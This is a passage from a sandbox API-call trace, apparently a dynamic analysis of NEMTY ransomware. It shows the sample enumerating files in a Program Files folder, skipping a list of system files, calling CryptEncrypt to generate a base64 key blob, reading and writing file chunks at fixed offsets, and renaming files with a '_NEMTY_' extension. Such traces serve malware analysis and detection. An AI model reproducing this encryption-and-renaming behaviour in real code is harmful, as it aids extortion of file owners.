lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0097.242] CloseHandle (hObject=0xffffffff) returned 0 [0097.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0097.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0097.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0097.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0097.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.243] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png._nemty_kgobjgd_")) returned 0 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0097.243] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2=".") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="..") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="...") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="windows") returned -1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="$RECYCLE.BIN") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="rsa") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="NTDETECT.COM") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="ntldr") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="MSDOS.SYS") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="IO.SYS") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="boot.ini") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="boot.ini") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="AUTOEXEC.BAT") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="ntuser.dat") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="desktop.ini") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="CONFIG.SYS") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="RECYCLER") returned 1 [0097.243] lstrcmpiW (lpString1="vignettemask25.png", lpString2="BOOTSECT.BAK") returned 1 [0097.244] lstrcmpiW (lpString1="vignettemask25.png", lpString2="bootmgr") returned 1 [0097.244] lstrcmpiW (lpString1="vignettemask25.png", lpString2="programdata") returned 1 [0097.244] lstrcmpiW (lpString1="vignettemask25.png", lpString2="appdata") returned 1 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0097.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vignettemask25.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vignettemask25.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vignettemask25.png", lpUsedDefaultChar=0x0) returned 18 [0097.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0097.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vignettemask25.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vignettemask25.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vignettemask25.png", lpUsedDefaultChar=0x0) returned 18 [0097.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0097.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0097.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vignettemask25.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vignettemask25.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vignettemask25.png", lpUsedDefaultChar=0x0) returned 18 [0097.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0097.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vignettemask25.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vignettemask25.png", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vignettemask25.png", lpUsedDefaultChar=0x0) returned 18 [0097.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0097.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0097.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0097.244] Sleep (dwMilliseconds=0x5) [0097.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed9c8070, dwHighDateTime=0x1d561e7)) [0097.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed9c8070, dwHighDateTime=0x1d561e7)) [0097.248] GetLastError () returned 0x5 [0097.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.248] GetLastError () returned 0x5 [0097.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0097.248] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0097.248] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0097.249] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0097.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0097.249] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="CY9K3JZBk2mT3ePYAdOXTWNzqBlKZiEFNarS+/rRvA/97Ft1+mjwEK+0Mh9xSdCC\r\nCZr6knjDV8eh4nHwlAUHYXx3ojDFZtMUmfVKf/yDmldVUgac8P6cDOwghLZWyW47\r\nexTTxmhQk61hNqNm3lZ8KVs4xejfXBF0TtCQX7L2tsNDn8pmN/jNbb5ZpHCDnUxo\r\n7R9rN8TGbo91qx1P5RA0C6NxHXbgxX6XEvD74MWhlRhrdRMwy7wqMTZt35xylApE\r\nqtF+0vgfGJMJAsK1e0FrgE43u3Wwi4TRUR/ZHtpznFzMgawErTbCFCmtDjBjQQqW\r\nZnS+F4q4wmMctnYhO+7qwA==\r\n", pcchString=0x653e91c) returned 1 [0097.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0097.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0097.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0097.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0097.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0097.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0097.249] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.249] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0097.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0097.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.348] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.360] 